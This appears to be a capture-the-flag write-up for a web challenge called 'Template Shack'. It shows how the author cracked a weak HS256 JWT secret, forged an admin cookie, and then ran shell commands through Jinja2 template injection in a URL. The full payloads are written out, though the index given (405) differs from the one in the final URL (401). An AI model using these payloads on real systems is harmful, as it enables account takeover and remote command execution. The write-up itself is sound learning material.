![552287fab150917d502fd69e6144ed5d.png](f32ff9a37c60453da49847d379222794.png) ![ce00ceb552ae9d0904a532162dd7a294.png](1dd3fde110674cc887abfd7d2c47aef5.png) Nothing out of place. Checking the cookies we see what looks to be a JSON Web Token ![c6faef91941939a2efa167c05f7c3e5f.png](e8a653503a34471cbefc16a2c6745c3b.png) [jwt.io](http://jwt.io) confirms that it's a JWT and it's using HS256 as the hashing algorithm. Let's see if we can forge our own by cracking this one. ![b050e270ba96d5655b1e5ebebb11006d.png](4d5bf3f966584586a67b2b86318f813b.png) Using jwt-tool to crack the key ![226acd8034a841d6cd9278c7a6e366aa.png](74a740f30e8d41fabe78b937f8ddbfa7.png) Time to forge our own admin JWT: ![56fddc6d81a563f2ce2f9ceef894fda9.png](558a41e0811f4fcda5788c25fb891cac.png) By changing the cookie value to our new JWT, we've accessed the admin account ![3cf47f3e8f6bea19629bc9dbf6ce52d0.png](4c3df24886594aa2b3e407f9244dc321.png) Nothing seems to work here, and the only two options that do work kick back a 404. ![787091091eb05963e38822af42310b26.png](d05bc9dae21943b69f574f641f547900.png) Interesting. The URL that's causing the error seems to be reflected on the page. Seems like we can control it. Since the name of the challenge is 'Template Shack', let's jump right into template injection `jh2i.com:50023/admin/{{7*7}}` ![7bd20d4abe92a98ce34e2bf117f52e9b.png](3c85f08bf3ff4ad18c3148922be24744.png) Template injection is a go! Starting with `{{''.__class__.__mro__[1].__subclasses__()}}` we can look for the `'subprocess.Popen'` class ![a299d2da352a9221b295b78abfab81f4.png](b929b0ab0af34779813fa562ea7064ea.png) we need it's exact index in the list. Let's use slicing to find it: `{{''.__class__.__mro__[1].__subclasses__()[400::]}}` By continuously slicing higher indices, we can track down exactly where `subprocess.Popen` is `{{''.__class__.__mro__[1].__subclasses__()[405::]}}` ![e159267160d76fceb3e8bd4ef08f24ef.png](f83fc42f3d664051b6d111cd42718b1f.png) Now that it's at the top of the list, we know it's at 405 Payload: `{{''.__class__.__mro__[1].__subclasses__()[405]('cat flag.txt',shell=True,stdout=-1).communicate()}}` Full url: `http://jh2i.com:50023/admin/{{''.__class__.__mro__[1].__subclasses__()[401]('cat flag.txt',shell=True,stdout=-1).communicate()}}` ![caf0c6130af626580fefa9e7f7eb1fa5.png](35d7434a084c4d3c83fbf66e66a634e5.png) This article explains it \*much\* better than I ever could: [https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee](https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee) --- Back to [[_WebSite Publish/CTF/CTF Index|CTF Index]] Tags: #ctf #ssti #jwt #web Related: